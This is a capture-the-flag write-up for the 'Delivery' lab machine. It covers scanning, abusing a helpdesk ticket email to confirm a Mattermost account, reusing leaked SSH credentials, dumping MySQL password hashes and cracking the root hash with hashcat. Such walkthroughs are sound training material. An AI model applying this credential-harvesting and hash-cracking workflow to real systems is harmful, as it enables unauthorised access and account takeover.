> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/delivery.md). # Delivery

Delivery

```bash ping -c 1 10.10.10.222 PING 10.10.10.222 (10.10.10.222) 56(84) bytes of data. 64 bytes from 10.10.10.222: icmp_seq=1 ttl=63 time=61.1 ms --- 10.10.10.222 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 61.087/61.087/61.087/0.000 ms ``` * Host is Linux. * Host is alive. ```bash sudo nmap 10.10.10.222 -p- -T5 -sC -sV -oN delivery ``` ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA) | 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA) |_ 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Welcome |_http-server-header: nginx/1.14.2 8065/tcp open unknown | fingerprint-strings: | GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Accept-Ranges: bytes | Cache-Control: no-cache, max-age=31556926, public | Content-Length: 3108 | Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com | Content-Type: text/html; charset=utf-8 | Last-Modified: Sat, 02 Mar 2024 14:02:34 GMT | X-Frame-Options: SAMEORIGIN | X-Request-Id: iif9p3fz3b8mdn3hkjtt33icpe | X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false | Date: Sat, 02 Mar 2024 14:09:22 GMT | MattermostMatt SF:ermostHTTP
Main page looks like this, this is static page. Nothing interesting actually. But if we click on "Contact Us" button.
Link to "HelpDesk" server. If we navigate to it. We have this redirection.
I will add this domain to my "/etc/hosts" and navigate again.

osTicket

Well we can try to create a ticket but firstly lets check other services. ## HTTP:8065

Mattermost

> Mattermost is an open-source, self-hosted messaging platform that allows teams to communicate and collaborate in real-time. It's often used as an alternative to proprietary messaging services like Slack or Microsoft Teams. I will try to create new account, but this need valid email and confirmation. There is no useful exploits for this service. ## maildeliverer shell After thinking couple of minutes, I figured out that I need to send a ticket to HelpDesk for confirmation. I will try it.
After waiting like 1 minute, I checked my ticket request.
And nice, I got successful response, I need to navigate to this link to confirm my account.
In the chat we can see possible valid credentials for SSH, lets try them. ```bash ssh maildeliverer@delivery.htb The authenticity of host 'delivery.htb (10.10.10.222)' can't be established. ED25519 key fingerprint is SHA256:AGdhHnQ749stJakbrtXVi48e6KTkaMj/+QNYMW+tyj8. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'delivery.htb' (ED25519) to the list of known hosts. maildeliverer@delivery.htb's password: Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Jan 5 06:09:50 2021 from 10.10.14.5 maildeliverer@Delivery:~$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for maildeliverer: Sorry, user maildeliverer may not run sudo on Delivery. ``` We got a shell :) But bad news we can run sudo... ```bash maildeliverer@Delivery:~$ cat user.txt 014277f13444bdc741cfab441b7fd93d ``` user.flag ## root shell ```bash maildeliverer@Delivery:/opt/mattermost/config$ less config.json ``` There are mysql credentials. Lets enumerate it. ```bash mmuser:Crack_The_MM_Admin_PW ``` ```sql maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 76 Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mattermost | +--------------------+ 2 rows in set (0.000 sec) ``` ```sql MariaDB [mattermost]> select username,password from Users; +----------------------------------+--------------------------------------------------------------+ | username | password | +----------------------------------+--------------------------------------------------------------+ | musor | $2a$10$WkylPKvcWzMxlfADqcb3OulcX4RLBkJYmbp1nBxyYnJ8ZtxRFOTae | | surveybot | | | c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK | | 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G | | test | $2a$10$aEe/05RmMGxP4fo6ADnw0OGUv1hI3SWF5yG4nHjCAkmAcYzIVRwQS | | root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | | ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq | | channelexport | | | 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm | +----------------------------------+--------------------------------------------------------------+ 9 rows in set (0.000 sec) MariaDB [mattermost]> exit Bye ``` There is root hash, lets crack it. > In the chat there was a hint about password pattern reusing. Main word is **"PleaseSubcribe"**. > > So I will put this in txt file and mutate with hashcat rules. ```bash hashcat hash pass -r /usr/share/hashcat/rules/best64.rule -m 3200 ``` ```sql $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21 ``` Successfully cracked! Lets check this password, lets see if this is working. ```bash maildeliverer@Delivery:/opt/mattermost/config$ su root Password: root@Delivery:/opt/mattermost/config# ``` Yup, we are root :) lets get a root.flag ```bash root@Delivery:~# cat root.txt ded6fd528851f00109e1653adf5520ff ```